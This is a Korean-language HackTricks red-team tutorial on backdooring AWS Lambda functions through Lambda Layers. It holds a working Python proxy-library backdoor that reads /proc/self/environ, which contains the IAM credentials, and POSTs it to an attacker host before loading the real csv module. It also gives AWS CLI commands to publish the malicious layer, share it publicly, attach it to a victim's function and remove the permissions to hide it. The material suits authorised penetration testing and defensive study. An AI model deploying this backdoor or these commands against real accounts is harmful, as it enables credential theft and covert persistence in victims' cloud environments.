AWS - Lambda Layers Persistence

htARTE (HackTricks AWS Red Team 전문가)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!

다른 HackTricks 지원 방법:

Lambda Layers

Lambda 레이어는 추가 코드 또는 다른 콘텐츠를 포함할 수 있는 .zip 파일 아카이브입니다. 레이어에는 라이브러리, 사용자 정의 런타임, 데이터 또는 구성 파일을 포함할 수 있습니다.

함수 당 다섯 개의 레이어를 포함할 수 있습니다. 함수에 레이어를 포함하면 콘텐츠가 실행 환경의 /opt 디렉토리로 추출됩니다.

기본적으로 생성하는 레이어AWS 계정에 대해 비공개입니다. 레이어를 다른 계정과 공유하거나 레이어를 공개로 만들 수 있습니다. 다른 계정이 게시한 레이어를 함수가 사용하는 경우, 함수는 삭제된 레이어 버전을 계속 사용하거나 레이어에 대한 액세스 권한이 취소된 후에도 사용할 수 있습니다. 그러나 삭제된 레이어 버전을 사용하여 새 함수를 생성하거나 함수를 업데이트할 수는 없습니다.

컨테이너 이미지로 배포된 함수는 레이어를 사용하지 않습니다. 대신 이미지를 빌드할 때 선호하는 런타임, 라이브러리 및 기타 종속성을 컨테이너 이미지에 패키징합니다.

Python 로드 경로

람다에서 Python이 사용할 로드 경로는 다음과 같습니다:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

두 번째와 세 번째 위치람다 레이어가 파일을 압축 해제하는 디렉토리로 차지하는지 확인하십시오: /opt/python/lib/python3.9/site-packages/opt/python

공격자가 사용 중인 람다 레이어백도어를 설치하거나 실행 중에 일반 라이브러리가 로드될 때 임의의 코드를 실행하는 레이어를 추가한다면, 각 람다 호출마다 악성 코드를 실행할 수 있게 될 것입니다.

따라서 요구 사항은 다음과 같습니다:

  • 피해자 코드에서 로드된 라이브러리를 확인합니다.

  • 람다 레이어프록시 라이브러리를 생성하여 사용자 정의 코드를 실행하고 원래 라이브러리를 로드합니다.

사전로드된 라이브러리

이 기술을 남용할 때 어려움을 겪었습니다: 일부 라이브러리는 파이썬 런타임에서 코드가 실행될 때 이미 로드되어 있습니다. ossys와 같은 것들을 찾을 것으로 예상했지만 json 라이브러리조차 로드되어 있었습니다. 이 지속성 기술을 남용하려면 코드가 실행될 때 로드되지 않은 새 라이브러리를 로드해야 합니다.

다음과 같은 파이썬 코드로 람다에서 사전로드된 라이브러리 목록을 얻을 수 있습니다:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

그리고 이것이 목록입니다 (라이브러리들이 이미 있는지 확인하십시오. osjson과 같은 라이브러리들이 있는지 확인).

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

그리고 이것은 lambda에 기본으로 설치된 라이브러리 목록입니다: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Layer Backdooring

이 예에서는 대상 코드가 **csv**를 가져오고 있다고 가정합니다. csv 라이브러리의 가져오기를 백도어할 것입니다.

이를 위해, 우리는 csv 디렉토리를 만들 것이며, 그 안에 __init__.py 파일을 만들 것입니다. 이 디렉토리는 lambda에서 로드되는 경로에 있어야 합니다: /opt/python/lib/python3.9/site-packages 그런 다음, 람다가 실행되고 csv를 로드하려고 시도할 때, 우리의 __init__.py 파일이 로드되고 실행될 것입니다. 이 파일은 다음을 수행해야 합니다:

  • 페이로드 실행

  • 원래 csv 라이브러리 로드

우리는 다음과 같이 둘 다 수행할 수 있습니다:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

그럼, 이 코드를 python/lib/python3.9/site-packages/__init__.py 경로에 넣은 후 람다 레이어로 추가하세요.

이 코드는 https://github.com/carlospolop/LambdaLayerBackdoor에서 찾을 수 있습니다.

통합된 페이로드는 람다 컨테이너의 재설정(코드 변경 또는 콜드 람다) 후 처음으로 호출될 때 IAM 자격 증명을 서버로 전송하지만 다른 기술도 통합될 수 있습니다:

pageAWS - Steal Lambda Requests

외부 레이어

람다 레이어를 외부 계정에서 사용할 수 있음에 유의하십시오. 또한 람다는 권한이 없어도 외부 계정에서 레이어를 사용할 수 있습니다. 또한 람다가 가질 수 있는 최대 레이어 수는 5개입니다.

따라서 이 기술의 다양성을 향상시키기 위해 공격자는 다음을 수행할 수 있습니다:

  • 사용자의 기존 레이어에 백도어 설치 (외부 요소 없음)

  • 자신의 계정에서 레이어를 생성하고 피해 계정에 레이어 사용 권한 부여, 피해자의 람다에서 레이어 구성권한 제거.

  • 람다는 여전히 레이어를 사용할 수 있고 피해자는 레이어 코드를 다운로드하는 쉬운 방법이 없을 것입니다(람다 내에서 rev 쉘을 획들하는 것 외).

  • 피해자는 **aws lambda list-layers**를 사용하여 외부 레이어를 볼 수 없을 것입니다.

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

最終更新